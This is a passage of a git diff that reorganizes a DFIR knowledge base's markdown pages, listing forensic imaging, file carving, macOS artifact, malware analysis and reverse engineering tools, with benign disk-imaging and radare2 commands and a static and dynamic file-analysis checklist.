[KAPE](https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape) + * [KAPE Docs](https://ericzimmerman.github.io/KapeDocs/#!index.md) {% file src="../.gitbook/assets/EricZimmermanCommandLineToolsCheatSheet-v1.0 (1) (1).pdf" %} -{% endtab %} -{% endtabs %} - -{% tabs %} -{% tab title="Extraction Tools" %} -* [bulk-extractor](https://www.kali.org/tools/bulk-extractor/) - bulk\_extractor is a C++ program that scans a disk image, a file, or a directory of files and extracts useful information without parsing the file system or file system structures. -* [dumpzilla](https://www.kali.org/tools/dumpzilla/) - Dumpzilla application is developed in Python 3.x and has as purpose extract all forensic interesting information of Firefox, Iceweasel and Seamonkey browsers to be analyzed. -* [regripper](https://www.kali.org/tools/regripper/) - RegRipper is an open source tool, written in Perl, for extracting/parsing information (keys, values, data) from the Registry and presenting it for analysis. -* [safecopy](https://www.kali.org/tools/safecopy/) - safecopy tries to get as much data from SOURCE as possible, even resorting to device specific low level operations if applicable. - - -{% endtab %} - -{% tab title="Browser Tools" %} -* [galleta](https://www.kali.org/tools/galleta/) - Galleta is a forensics tool that examines the content of cookie files produced by Microsoft Internet Explorer (MSIE). It parses the file and outputs a field separated that can be loaded in a spreadsheet. -* [pasco](https://www.kali.org/tools/pasco/) - Pasco is a forensic tool that examines the content of cache files (index.dat) produced by Microsoft Internet Explorer. - - -{% endtab %} - -{% tab title="Misc Utility" %} -* [XOR Tool](https://github.com/hellman/xortool) - A tool to do some xor analysis: Guess the key length (based on count of equal chars) and Guess the key (base on knowledge of most frequent char) -* [forensics-colorize](https://www.kali.org/tools/forensics-colorize/) - forensics-colorize is a set of tools to visually compare large files, as filesystem images, creating graphics of them. It is intuitive because the produced graphics provide a quick and perfect sense about the percentage of changes between two files. -* [dislocker](https://www.kali.org/tools/dislocker/) - Dislocker has been designed to read BitLocker encrypted partitions under a Linux system -* [mac-robber](https://www.kali.org/tools/mac-robber/) - mac-robber is a digital investigation tool (digital forensics) that collects metadata from allocated files in a mounted filesystem. This is useful during incident response when analyzing a live system or when analyzing a dead system in a lab. -* [testdisk](https://www.kali.org/tools/testdisk/) - TestDisk checks the partition and boot sectors of your disks. It is very useful in forensics, recovering lost partitions. -* [unhide](https://www.kali.org/tools/unhide/) - Unhide is a forensic tool to find processes and TCP/UDP ports hidden by rootkits, Linux kernel modules or by other techniques. It includes two utilities: unhide and unhide-tcp. -{% endtab %} -{% endtabs %} - -
-File Carving/Recovery +## File Systems, Imaging, and Recovery -* [Foremost](https://github.com/korczis/foremost): Foremost is a console program to recover files based on their headers, footers, and internal data structures. -* [ext4magic](https://www.kali.org/tools/ext4magic/) - ext4magic can extract the information from the journal and restore files in an entire directory tree, if the information in the journal are sufficient. -* [ext3grep](https://www.kali.org/tools/ext3grep/) - ext3grep is a simple tool intended to aid anyone who accidentally deletes a file on an ext3 filesystem, only to find that they wanted it shortly thereafter. -* [extundelete](https://www.kali.org/tools/extundelete/) - extundelete uses the information stored in the partition’s journal to attempt to recover a file that has been deleted. -* [magicrescue](https://www.kali.org/tools/magicrescue/) - Magic Rescue scans a block device for file types it knows how to recover and calls an external program to extract them. -* [myrescue](https://www.kali.org/tools/myrescue/) - myrescue is a program to rescue the still-readable data from a damaged harddisk, CD-ROM, DVD, flash drives, etc. It is similar in purpose to dd\_rescue (or ddrescue), but it tries to quickly get out of damaged areas to first handle the not yet damaged part of the disk and return later. -* [recoverdm](https://www.kali.org/tools/recoverdm/) - recoverdm recover disks with bad sectors. You can recover files as well complete devices. In case it finds sectors which simply cannot be recovered, it writes an empty sector to the output file and continues. -* [recoverjpeg](https://www.kali.org/tools/recoverjpeg/) - recoverjpeg tries to recover JFIF (JPEG) pictures and MOV movies from a peripheral. This may be useful if you mistakenly overwrite a partition or if a device such as a digital camera memory card is bogus. -* [rifiuti2](https://www.kali.org/tools/rifiuti2/) - Rifiuti2 analyses recycle bin files from Windows. Analysis of Windows recycle bin is usually carried out during Windows computer forensics. -* [scalpel](https://www.kali.org/tools/scalpel/) - scalpel is a fast file carver that reads a database of header and footer definitions and extracts matching files from a set of image files or raw device files. -* [scrounge-ntfs](https://www.kali.org/tools/scrounge-ntfs/) - Scrounge NTFS is a data recovery program for NTFS filesystems. It reads each block of the hard disk and try to rebuild the original filesystem tree into a directory. -* [undbx](https://www.kali.org/tools/undbx/) - UnDBX is a tool to extract, recover and undelete e-mail messages from MS Outlook Express .dbx files -* RDP Cache Recovery - * [https://github.com/BSI-Bund/RdpCacheStitcher/](https://github.com/BSI-Bund/RdpCacheStitcher/) -A tool that supports forensic analysts in reconstructing useful images out of RDP cache bitmaps - * [https://github.com/ANSSI-FR/bmc-tools/](https://github.com/ANSSI-FR/bmc-tools/) - RDP Bitmap Cache parser +Detailed file analysis and carving guidance lives on File/Binary Analysis. -
- -
- -Forensic Imaging - -* [FTK Imager by AccessData](https://www.exterro.com/ftk-imager) - Create forensic images of local hard drives, CDs and DVDs, thumb drives or other USB devices, entire folders, or individual files from various places within the media. - -``` -ftkimager --list-drives -ftkimager \\.\PHYSICALDRIVE0 "[Location]\Case" --e01 -ftkimager [source] [destination] -ftkimager \\.\PHYSICALDRIVE0 "[Location]\Case" --e01 --outpass securepasswordinsertedhere -``` - -* [DD utility](https://man7.org/linux/man-pages/man1/dd.1.html) - Unix disk manipulation tool - * [dc3dd](https://www.kali.org/tools/dc3dd/) - dc3dd is a patched version of GNU dd with added features for computer forensics - * [dcfldd](https://www.kali.org/tools/dcfldd/) - Enhanced version of dd for forensics and security - * [ddrescue](https://www.kali.org/tools/ddrescue/) - Data recovery and protection tool +{% content-ref url="file-analysis.md" %} +[file-analysis.md](file-analysis.md) +{% endcontent-ref %} -``` +Useful extraction and recovery tools: + +* [bulk_extractor](https://www.kali.org/tools/bulk-extractor/) +* [RegRipper](https://www.kali.org/tools/regripper/) +* [safecopy](https://www.kali.org/tools/safecopy/) +* [dumpzilla](https://www.kali.org/tools/dumpzilla/) +* [xortool](https://github.com/hellman/xortool) +* [forensics-colorize](https://www.kali.org/tools/forensics-colorize/) +* [dislocker](https://www.kali.org/tools/dislocker/) +* [mac-robber](https://www.kali.org/tools/mac-robber/) +* [testdisk](https://www.kali.org/tools/testdisk/) +* [unhide](https://www.kali.org/tools/unhide/) +* [Foremost](https://github.com/korczis/foremost) +* [scalpel](https://www.kali.org/tools/scalpel/) +* [RdpCacheStitcher](https://github.com/BSI-Bund/RdpCacheStitcher/) +* [bmc-tools](https://github.com/ANSSI-FR/bmc-tools/) + +Forensic imaging: + +* [FTK Imager](https://www.exterro.com/ftk-imager) +* [dd](https://man7.org/linux/man-pages/man1/dd.1.html) +* [dc3dd](https://www.kali.org/tools/dc3dd/) +* [dcfldd](https://www.kali.org/tools/dcfldd/) +* [ddrescue](https://www.kali.org/tools/ddrescue/) +* [X-Ways Imager](https://www.x-ways.net/imager/index-m.html) +* [guymager](https://www.kali.org/tools/guymager/) + +```bash dd.exe --list dd.exe if=/dev/ of=Image.img bs=1M dd.exe if=\\.\: of=:\.img bs=1M --size --progress -(LINUX) sudo dd if=/dev/ of=/mnt/.ddimg bs=1M conv=noerror,sync +sudo dd if=/dev/ of=/mnt/.ddimg bs=1M conv=noerror,sync ``` -* [X-ways Imager](https://www.x-ways.net/imager/index-m.html) - Forensic disk imaging tool. Stripped down version of the [X-Ways Forensics](https://www.x-ways.net/forensics/index-m.html) computer forensics software with just the disk imaging functionality and little more -* [guymager](https://www.kali.org/tools/guymager/) - The forensic imager contained in this package, guymager, was designed to support different image file formats, to be most user-friendly and to run really fast. - -
- -{% content-ref url="memory-forensics/" %} -[memory-forensics](memory-forensics/) -{% endcontent-ref %} - -
- -USB Analysis - -* [https://gbhackers.com/usb-forensics/](https://gbhackers.com/usb-forensics/) -* [USB Descriptors](https://www.beyondlogic.org/usbnutshell/usb5.shtml) -* [USB Data Transfer Types](https://www.jungo.com/st/support/documentation/windriver/10.2.1/wdusb\_manual.mhtml/USB\_data\_transfer\_types.html) -* [USB WIreshark Filters](https://www.wireshark.org/docs/dfref/u/usb.html) - -
+## Platform-Specific Forensics -
+Windows, Linux, and macOS command references are linked above. macOS artifact resources: -MacOS +* [Mac OS X 10.9 Forensics Wiki](https://forensicswiki.org/wiki/Mac_OS_X_10.9_-_Artifacts_Location) - Legacy macOS artifact reference. +* [Mac OS X 10.11 Forensics Wiki](https://forensicswiki.org/wiki/Mac_OS_X_10.11_\(ElCapitan\)_-_Artifacts_Location) - Legacy macOS artifact reference. +* [macOS Forensics Artifacts Spreadsheet](https://docs.google.com/spreadsheets/d/1X2Hu0NE2ptdRj023OVWIGp5dqZOw-CfxHLOW_GNGpX8/edit#gid=1317205466) +* [osxcollector](https://github.com/Yelp/osxcollector) +* [automactc](https://github.com/CrowdStrike/automactc) +* [Mac4n6](https://www.mac4n6.com/) +* [mac_apt](https://github.com/ydkhatri/mac_apt) +* [The Mitten Mac Tools](https://themittenmac.com/tools/) -* [Mac OS X 10.9 Forensics Wiki](https://forensicswiki.org/wiki/Mac\_OS\_X\_10.9\_-\_Artifacts\_Location) -* [Mac OS X 10.11 Forensics Wiki](https://forensicswiki.org/wiki/Mac\_OS\_X\_10.11\_\(ElCapitan\)\_-\_Artifacts\_Location) -* [Mac OS X Forensics Artifacts Spreadsheet](https://docs.google.com/spreadsheets/d/1X2Hu0NE2ptdRj023OVWIGp5dqZOw-CfxHLOW\_GNGpX8/edit#gid=1317205466) -* [osxcollector](https://github.com/Yelp/osxcollector) - A forensic evidence collection & analysis toolkit for OS X -* [automactc](https://github.com/CrowdStrike/automactc) - This is a modular forensic triage collection framework designed to access various forensic artifacts on macOS, parse them, and present them in formats viable for analysis. The output may provide valuable insights for incident response in a macOS environment. Automactc can be run against a live system or dead disk (as a mounted volume.) -* [Mac4n6](https://www.mac4n6.com/) - Great blog on Mac OS forensics -* [mac\_apt](https://github.com/ydkhatri/mac\_apt) - macOS (& ios) Artifact Parsing Tool -* [https://themittenmac.com/tools/](https://themittenmac.com/tools/) - * [https://themittenmac.com/the-truetree-concept/](https://themittenmac.com/the-truetree-concept/) - * [https://themittenmac.com/monitorui-tool-release/](https://themittenmac.com/monitorui-tool-release/) - * [https://themittenmac.com/the-esf-playground/](https://themittenmac.com/the-esf-playground/) +## Malware Analysis and Reverse Engineering -
+Malware analysis resources are split by workflow: -* - -## **Malware Analysis** - -In incident response, phishing, or security monitoring scenarios, you will encounter potentially malicious files that will require in depth analysis to certify the nature of the file. These files can be as overt as an executable labeled "virus.exe" or as covert as "resume.doc". There will be instances where even after all of your analysis, you still cannot verify the nature of the document, and therefore should be considered malicious until proven otherwise. - -
- -Malware Analysis Toolsets and multi-engine scanners - -* [https://remnux.org/](https://remnux.org/) - REMnux® is a Linux toolkit for reverse-engineering and analyzing malicious software. REMnux provides a curated collection of free tools created by the community. Analysts can use it to investigate malware without having to find, install, and configure the tools. - * [https://zeltser.com/remnux-malware-analysis-tips/](https://zeltser.com/remnux-malware-analysis-tips/) -* [https://github.com/fireeye/flare-vm](https://github.com/fireeye/flare-vm) - A fully customizable, Windows-based security distribution for malware analysis, incident response, penetration testing, etc. -* [MalwareUnicorn's tool collection](https://malwareunicorn.org/#/resources) - Tools used by one of the best malware analysts in the field. -* [https://github.com/mindcollapse/MalwareMultiScan](https://github.com/mindcollapse/MalwareMultiScan) - Self-hosted [VirusTotal](https://www.virustotal.com/) / [OPSWAT MetaDefender](https://metadefender.opswat.com/) wannabe API for scanning URLs and files by multiple antivirus solutions. -* [RATDecoders](https://github.com/kevthehermit/RATDecoders) - Python Decoders for Common Remote Access Trojans -* [mal\_unpack](https://github.com/hasherezade/mal\_unpack) - Dynamic unpacker based on PE-sieve - * [https://www.youtube.com/watch?v=8LZ6ksoytpU](https://www.youtube.com/watch?v=8LZ6ksoytpU) -* [CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser) - Python parser for CobaltStrike Beacon's configuration -* [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) - Identifies the bytes that Microsoft Defender / AMSI Consumer flags on. - -
- -
- -Resources - -* [https://nostarch.com/malware](https://nostarch.com/malware) - * [https://www.jaiminton.com/Tutorials/PracticalMalwareAnalysis/](https://www.jaiminton.com/Tutorials/PracticalMalwareAnalysis/) -* [Awesome Lists Collection: Awesome Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) -* [https://malwareunicorn.org/#/](https://malwareunicorn.org/#/) - Malware Blog, tools, and training -* [https://www.sans.org/security-resources/posters/dfir/remnux-usage-tips-malware-analysis-linux-400](https://www.sans.org/security-resources/posters/dfir/remnux-usage-tips-malware-analysis-linux-400) -* [https://www.sans.org/security-resources/posters/dfir/malware-analysis-reverse-engineering-cheat-sheet-395](https://www.sans.org/security-resources/posters/dfir/malware-analysis-reverse-engineering-cheat-sheet-395) -* [SANS Malware Analysis Cheatsheet](https://sansorg.egnyte.com/dl/GpsbKAhkQo/?) -* [https://zeltser.com/malware-analysis-cheat-sheet/](https://zeltser.com/malware-analysis-cheat-sheet/) -* [https://www.infosecinstitute.com/skills/learning-paths/malware-analysis-reverse-engineering/](https://www.infosecinstitute.com/skills/learning-paths/malware-analysis-reverse-engineering/) -* [Hackersploit's Malware Analaysis Bootcamp](https://hackersploit.org/malware-analysis-tutorials/) -* [https://tryhackme.com/room/malresearching](https://tryhackme.com/room/malresearching) -* _BTFM: Malware Analysis - pg. 77_ -* _BTFM: Identifying Malware - pg. 80_ -* _PTFM: Malware Analysis - pg. 149_ -* _BTFM: Malware Attributes Checklist - pg.115_ - -
+{% content-ref url="malware.md" %} +[malware.md](malware.md) +{% endcontent-ref %} {% content-ref url="sandboxing.md" %} [sandboxing.md](sandboxing.md) {% endcontent-ref %} -Outside of sandboxing, there are a host of other tools available that can perform different types of analysis on malware. There are even a few virtual machine distributions that are dedicated to malware analysis. The foremost of them are Flare-VM and Remnux. These will usually include sandboxing tools like cuckoo, code analysis tools like Snyk and Ghidra, and a host of other handy options. +{% content-ref url="binary-analysis-reverse-engineering.md" %} +[binary-analysis-reverse-engineering.md](binary-analysis-reverse-engineering.md) +{% endcontent-ref %} {% hint style="info" %} -Remember: it is always advised to perform your malware analysis on a virtual machine, in order to prevent unwanted accidents. +Analyze malware in an isolated VM or lab network. Do not detonate samples on production systems. {% endhint %} -{% content-ref url="file-analysis.md" %} -[file-analysis.md](file-analysis.md) -{% endcontent-ref %} +## Legacy / Deprecated Tools -## Reverse Engineering +These are kept for historical reference or specific legacy cases. -{% content-ref url="binary-analysis-reverse-engineering.md" %} -[binary-analysis-reverse-engineering.md](binary-analysis-reverse-engineering.md) -{% endcontent-ref %} +* **Redline by FireEye/Mandiant** - Legacy host investigation tool. Original FireEye links may no longer be maintained. +* **CrowdResponse** - Static host data collection tool. +* **Gmer Rootkit Scanner** - Rootkit detection/removal utility. +* **chkrootkit** - Local Unix rootkit checks. +* **RKHunter** - Unix rootkit scanner. +* **Galleta** - Internet Explorer cookie file analysis. +* **Pasco** - Internet Explorer cache file analysis. +* **herdProtect** - Legacy second-opinion cloud malware scanner; verify availability before use. diff --git a/dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md b/dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md index 184625d..13a3272 100644 --- a/dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md +++ b/dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md @@ -1,10 +1,16 @@ # Reverse Engineering -Binary analysis and Reverse Engineering is taking our malware/file analysis to the next level. When we have a suspicious executable where we need to know not only is it malicious, but what exactly it does, we attempt to disassemble and/or reverse engineer the file to better understand its functions. There are different types of tools that can be used for this. While you can use a whole slew of coding support tools, most of the below tools have a specific context to reverse engineering and analyzing malware. +Binary analysis and Reverse Engineering take our malware and file analysis to the next level. When analyzing a suspicious executable, determining *if* it is malicious is often insufficient; we need to understand *what* it does. To achieve this, we attempt to disassemble and/or reverse engineer the file to inspect its internal logic and functions. + +### Concepts +* **Static Analysis**: Analyzing the code without running it (e.g., disassembly, decompilation, string analysis). +* **Dynamic Analysis**: Analyzing the code while it is running (e.g., debugging, sandboxing, behavior monitoring). + +There are different types of tools that can be used for this. While generalized coding support tools exist, most of the below tools have a specific context to reverse engineering and analyzing malware. ## **Radare2** -[Radare2](https://github.com/radare/radare2) is a considerable open-source reverse engineering framework with a hex editor and debugger at its core, multiple supporting tools to assist in analysis, and even plugins for enhancing your reversing tasks. +[Radare2](https://github.com/radare/radare2) is a powerful open-source reverse engineering framework with a hex editor and debugger at its core, multiple supporting tools to assist in analysis, and even plugins for enhancing your reversing tasks. ### Components @@ -21,13 +27,13 @@ Binary analysis and Reverse Engineering is taking our malware/file analysis to t ### Basic Use -* \#radare2 \ - This launches the Radare engine with the specified file -* To check what commands are available to you at any time, simply enter ‘?’ - * This will show you various available tools and each letter corresponds to a tooling engine; for example, to use the rabin2 engine inside Radare2, simply enter ‘i’. Enter ‘i?’ to see further functionality. -* $rabin2 -I \ - pull important overview info about the binary -* $rabin2 -z \ - List all strings from the data section of the binary -* $rabin2 -zz \ - List all strings in the binary -* $r2 \ - launch radare2 to view assembly code +* `radare2 ` - This launches the Radare engine with the specified file +* To check what commands are available to you at any time, simply enter `?` + * This will show you various available tools and each letter corresponds to a tooling engine; for example, to use the rabin2 engine inside Radare2, simply enter `i`. Enter `i?` to see further functionality. +* `rabin2 -I ` - pull important overview info about the binary +* `rabin2 -z ` - List all strings from the data section of the binary +* `rabin2 -zz ` - List all strings in the binary +* `r2 ` - launch radare2 to view assembly code ### Resources @@ -35,48 +41,62 @@ Binary analysis and Reverse Engineering is taking our malware/file analysis to t * [https://r2wiki.readthedocs.io/en/latest/](https://r2wiki.readthedocs.io/en/latest/) * [https://radare.gitbooks.io/radare2book/content/refcard/intro.html](https://radare.gitbooks.io/radare2book/content/refcard/intro.html) * [https://www.megabeets.net/a-journey-into-radare-2-part-1/](https://www.megabeets.net/a-journey-into-radare-2-part-1/) -* [https://tryhackme.com/room/ccradare2](https://tryhackme.com/room/ccradare2) * [https://artik.blue/reversing](https://artik.blue/reversing) - Reverse engineering with radare2 course. {% embed url="https://www.youtube.com/watch?v=8rLhX_v66O4" %} -## **Other Reverse Engineering Frameworks** +## **Other Reverse Engineering Frameworks & Debuggers** * [Ghidra](https://github.com/NationalSecurityAgency/ghidra) - Ghidra is a software reverse engineering (SRE) framework created and maintained by the [National Security Agency](https://www.nsa.gov) Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. * [https://www.intezer.com/blog/intezer-analyze/community-ghidra-plugin-is-here/](https://www.intezer.com/blog/intezer-analyze/community-ghidra-plugin-is-here/) * [https://ghidra-sre.org/CheatSheet.html](https://ghidra-sre.org/CheatSheet.html) * [https://www.shogunlab.com/blog/2019/12/22/here-be-dragons-ghidra-1.html](https://www.shogunlab.com/blog/2019/12/22/here-be-dragons-ghidra-1.html) * [https://hackaday.io/course/172292-introduction-to-reverse-engineering-with-ghidra](https://hackaday.io/course/172292-introduction-to-reverse-engineering-with-ghidra) - * [https://tryhackme.com/room/ccghidra](https://tryhackme.com/room/ccghidra) - * _Operator Handbook: Ghidra - pg. 76_ + * Ghidra training rooms have moved to Training. {% embed url="https://www.youtube.com/watch?v=d4Pgi5XML8E" %} -* [IDA ](https://hex-rays.com/IDA-pro/)- IDA Pro as a disassembler is capable of creating maps of their execution to show the binary instructions that are actually executed by the processor in a symbolic representation (assembly language). +* [IDA Pro](https://hex-rays.com/IDA-pro/) - IDA Pro is the industry standard disassembler and debugger, capable of creating execution maps to show binary instructions executed by the processor in a symbolic representation (assembly language). * [ Awesome Lists Collection: IDA](https://github.com/xrkk/awesome-ida/blob/master/Readme\_en.md) - * [Gepetto](https://github.com/JusticeRage/Gepetto) - IDA plugin which queries OpenAI's gpt-3.5-turbo language model to speed up reverse-engineering -* [bincat](https://github.com/airbus-seclab/bincat) - Binary code static analyser, with IDA integration. Performs value and taint analysis, type reconstruction, use-after-free and double-free detection +* [x64dbg](https://x64dbg.com/) - An open-source x64/x32 debugger for Windows. It is a modern replacement for the classic OllyDbg and offers a comprehensive plugin system. +* [OllyDbg](https://www.kali.org/tools/ollydbg/) - Classic 32-bit Windows assembler-level debugger. Largely historical, but still useful for understanding older reversing material. +* [edb-debugger](https://www.kali.org/tools/edb-debugger/) - Cross-platform x86/x86-64 graphical debugger. +* [GDB](https://www.kali.org/tools/gdb/) - Command-line debugger for Linux binaries. + * [PEDA](https://github.com/longld/peda) - Older GDB extension for exploit development and binary analysis. + * [GEF](https://github.com/hugsy/gef) - Modern GDB extension for exploit development and reverse engineering. + * [pwndbg](https://github.com/pwndbg/pwndbg) - GDB plugin for exploit development and reverse engineering. +* [Binary Ninja](https://binary.ninja/) - A modern, commercial reverse engineering platform known for its clean API, high-quality intermediate languages (BNIL), and strong community support. +* [dnSpy](https://github.com/dnSpy/dnSpy) / [dnSpyEx](https://github.com/dnSpyEx/dnSpy) - A debugger and .NET assembly editor. You can use it to edit and debug assemblies even if you don't have available source code. * [Rizin](https://github.com/rizinorg/rizin) - Rizin is a fork of the radare2 reverse engineering framework with a focus on usability, working features and code cleanliness. -* [Frida](https://frida.re/) - Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Can be used offesively for injecting code into running processes. -* [BARF](https://github.com/programa-stic/barf-project) - An open source binary analysis framework that aims to support a wide range of binary code analysis tasks that are common in the information security discipline. -* [ODA](https://onlinedisassembler.com) - A lightweight, online service for when you don’t have the time, resources, or requirements to use a heavier-weight alternative. Explore executables by dissecting its sections, strings, symbols, raw hex and machine level instructions. +* [Frida](https://frida.re/) - Dynamic instrumentation toolkit for developers, reverse engineers, and security researchers. This is dual-use; use it only in authorized labs or investigations. +* [OpenOCD](https://www.kali.org/tools/openocd/) - Debugging, in-system programming, and boundary-scan testing for embedded devices. * [retoolkit](https://github.com/mentebinaria/retoolkit) - Reverse Engineer's Toolkit * [alexey-kleymenov/reverse\_engineering\_tools](https://github.com/alexey-kleymenov/reverse\_engineering\_tools) - Various code samples and useful tips and tricks from reverse engineering and malware analysis fields. ## **Hex Editors** * [HexEdit.js](https://hexed.it/) – Browser-based hex editing. -* [Hexinator](https://hexinator.com/) – World’s finest (proprietary, commercial) Hex Editor. -* [Frhed](http://frhed.sourceforge.net/) – Binary file editor for Windows. +* [Hexinator](https://hexinator.com/) – A robust proprietary Hex Editor. +* [ImHex](https://github.com/WerWolv/ImHex) - Modern hex editor with a pattern language for reverse engineering. +* [HxD](https://mh-nexus.de/en/hxd/) - A carefully designed and fast hex editor which, additionally to raw disk editing and modifying of main memory (RAM), handles files of any size. ## **Binary Analysis and Parsing Tools** +* [PEStudio](https://www.winitor.com/) - A tool to perform the initial assessment of a malware file (static analysis) without even running it. * [capstone](https://www.kali.org/tools/capstone/) - a lightweight multi-platform, multi-architecture disassembly framework. * This package contains cstool, a command-line tool to disassemble hexadecimal strings. * [Kaitai Struct](http://kaitai.io/) – File formats and network protocols dissection language and web IDE, generating parsers in C++, C#, Java, JavaScript, Perl, PHP, Python, Ruby. -* [Veles](https://codisec.com/veles/) – Binary data visualization and analysis tool. * [Hachoir](https://github.com/vstinner/hachoir) – Python library to view and edit a binary stream as the tree of fields and tools for metadata extraction. +## **Legacy or Deprecated Tools** + +* [ODA (Online Disassembler)](https://onlinedisassembler.com) - *Deprecated/Offline*. Ideally used for lightweight online disassembly. +* [BARF](https://github.com/programa-stic/barf-project) - Open source binary analysis framework. *Last updated ~2018*. +* [bincat](https://github.com/airbus-seclab/bincat) - Binary code static analyser. *Maintenance status unclear*. +* [Veles](https://codisec.com/veles/) – Binary data visualization tool. *Archived/Unmaintained*. +* [Frhed](http://frhed.sourceforge.net/) – Binary file editor for Windows. *Legacy/Old*. +* [Gepetto](https://github.com/JusticeRage/Gepetto) - IDA plugin for OpenAI integration. *May require updates for newer models*. + ## **Resources** * Resource and Tool Collections @@ -96,13 +116,8 @@ Binary analysis and Reverse Engineering is taking our malware/file analysis to t * [iOS App Reverse Engineering](https://github.com/iosre/iOSAppReverseEngineering) (PDF) * [ProgrammingGroundUp.pdf](https://download-mirror.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf) * [Reversing-Secrets-Engineering](https://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817) -* RE Training Courses - * [https://guyinatuxedo.github.io/?mc\_cid=d676bd61c6\&mc\_eid=c18a7def31](https://guyinatuxedo.github.io/?mc\_cid=d676bd61c6\&mc\_eid=c18a7def31) - Nightmare - * [https://malwareunicorn.org/workshops/re101.html#0](https://malwareunicorn.org/workshops/re101.html#0) - * [https://www.begin.re/](https://www.begin.re/) - Reverse Engineering for Beginners - * [https://beginners.re/main.html](https://beginners.re/main.html) - Understanding Assembly Language - * [https://github.com/mytechnotalent/Reverse-Engineering](https://github.com/mytechnotalent/Reverse-Engineering) - A FREE comprehensive reverse engineering tutorial covering x86, x64, 32-bit ARM & 64-bit ARM architectures. - * [https://fumalwareanalysis.blogspot.com/p/malware-analysis-tutorials-reverse.html](https://fumalwareanalysis.blogspot.com/p/malware-analysis-tutorials-reverse.html) - * [https://tryhackme.com/room/introtox8664](https://tryhackme.com/room/introtox8664) - * [https://tryhackme.com/room/basicmalwarere](https://tryhackme.com/room/basicmalwarere) - * [https://tryhackme.com/room/reverseengineering](https://tryhackme.com/room/reverseengineering) +* RE training courses and TryHackMe rooms have moved to Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/dfir-digital-forensics-and-incident-response/file-analysis.md b/dfir-digital-forensics-and-incident-response/file-analysis.md index c970344..91dded4 100644 --- a/dfir-digital-forensics-and-incident-response/file-analysis.md +++ b/dfir-digital-forensics-and-incident-response/file-analysis.md @@ -1,14 +1,14 @@ --- -description: What is this? I didn't put this file here... +description: Methodology and tools for analyzing suspicious files and binaries. --- # File/Binary Analysis ## **File Analysis Methodology** -* [https://zeltser.com/analyzing-malicious-documents/](https://zeltser.com/analyzing-malicious-documents/) +* [Analyzing Malicious Documents (Zeltser)](https://zeltser.com/analyzing-malicious-documents/) * [SANS Malicious File Analysis Cheatsheet](https://sansorg.egnyte.com/dl/IQ3GhaH868/?) -* [https://hunter.jorgetesta.tech/malware/tips/analisis-estatico](https://hunter.jorgetesta.tech/malware/tips/analisis-estatico) +* [Static Analysis Tips (Jorge Testa)](https://hunter.jorgetesta.tech/malware/tips/analisis-estatico) ### Static Analysis Tasklist @@ -21,18 +21,19 @@ description: What is this? I didn't put this file here... * Too many meaningless strings (Possible obfuscation) * Internal/external messages * Referenced (invoked) functions - * Sections used by the PE + * Sections used by the PE (e.g., RWX sections often indicate packing or shellcode) * IPs and/or Domains * Error messages or exceptions * Names or keywords * Libraries - * Low number of libraries? + * Low number of libraries? (Could indicate packing) * Cryptography Libraries - Why does this need a crypto library? -* Imports/VirtualAlloc +* Imports + * Check for suspicious imports (e.g., `VirtualAlloc`, `WriteProcessMemory`, `CreateRemoteThread`) which may indicate injection or packing. ### Dynamic Analysis Task List -* Run file through available/allowed Sandboxing utilties +* Run file through available/allowed Sandboxing utilities {% content-ref url="sandboxing.md" %} [sandboxing.md](sandboxing.md) @@ -48,9 +49,10 @@ description: What is this? I didn't put this file here... * Organize and clean Process Monitor data * Wireshark * Record network activity - * Give the malware what it wants and redirect its request to a local web server in your lab. You can use IPTABLES on linux (your lab's gateway) to intercept and redirect all internal traffic and reinfect your victim machine - * Use FAKEDNS in REMnux - * What happens if you let malware connect to your web server? + * **Network Simulation**: Give the malware what it wants and redirect its requests to a local web server (sinkhole) in your lab. + * Use IPTABLES on linux (your lab's gateway) to intercept and redirect all internal traffic. + * Use FAKEDNS in REMnux to simulate DNS resolutions. + * **Observation**: What happens if you let malware connect to your web server? Does it drop a second stage payload? ## **File Analysis Tools** @@ -58,7 +60,6 @@ description: What is this? I didn't put this file here... Often the metadata surrounding a file can yield a trove of useful information. The below tools can be used to pull handy exif data from images or metadata from other files. -* [http://www.exifdataviewer.com/](http://www.exifdataviewer.com/) * [https://www.extractmetadata.com/](https://www.extractmetadata.com/) * [https://exifinfo.org/](https://exifinfo.org/) * [http://exif.regex.info/exif.cgi](http://exif.regex.info/exif.cgi) @@ -76,7 +77,7 @@ Often the metadata surrounding a file can yield a trove of useful information. T A package of python tools to analyze [Microsoft OLE2 files](http://en.wikipedia.org/wiki/Compound\_File\_Binary\_Format) (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. * Tools for analyzing objects within an OLE file: - * Pre-2oleid - analyses OLE files to detect specific characteristics usually found in malicious files. + * oleid - analyses OLE files to detect specific characteristics usually found in malicious files. * olevba - extracts and analyses VBA Macro source code from MS Office documents (OLE and OpenXML). * mraptor - detects malicious VBA Macros. * msodde - detects and extracts DDE/DDEAUTO links from MS Office documents, RTF and CSV. @@ -92,16 +93,21 @@ A package of python tools to analyze [Microsoft OLE2 files](http://en.wikipedia. ### Binary Analysis Tools -* [binwalk](https://www.kali.org/tools/binwalk/) - Binwalk is a tool for searching a given binary image for embedded files and executable code. -* [de4dot](https://www.kali.org/tools/de4dot/) - de4dot is a .NET deobfuscator and unpacker. -* [pev](https://www.kali.org/tools/pev/) - pev is a tool to get information of PE32/PE32+ executables (EXE, DLL, OCX etc) like headers, sections, resources and more. -* [ropper](https://www.kali.org/tools/ropper/) - This package contains scripts that display info about files in different formats and find gadgets to build ROPs chains for different architectures (x86/x86\_64, ARM/ARM64, MIPS, PowerPC). For disassembly ropper uses the Capstone Framework. -* [https://malcat.fr/index.html](https://malcat.fr/index.html) - Malcat is a feature-rich 